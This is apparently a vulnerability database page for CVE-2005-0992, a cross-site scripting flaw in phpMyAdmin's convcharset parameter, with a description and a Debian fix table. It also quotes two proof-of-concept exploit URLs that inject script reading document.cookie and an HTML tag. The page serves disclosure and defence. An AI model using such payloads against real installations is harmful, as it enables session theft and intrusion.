CVE-2005-0992
Description
Cross-site scripting (XSS) vulnerability in index.php in phpMyAdmin before 2.6.2-rc1 allows remote attackers to inject arbitrary web script or HTML via the convcharset parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
phpMyAdmin 2.x - Convcharset Cross-Site Scripting
source: https://www.securityfocus.com/bid/12982/info
phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to the 'convcharset' parameter.
phpMyAdmin versions prior to 2.6.2-rc1 are affected by this issue.
http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><script>alert(document.cookie)</script>
http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><h1>XSS</h1> OS impact
Debian Fixed 4 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3:2.6.2-rc1-1 |
| sid | Fixed | 3:2.6.2-rc1-1 |
| bullseye | Fixed | 3:2.6.2-rc1-1 |
| bookworm | Fixed | 3:2.6.2-rc1-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.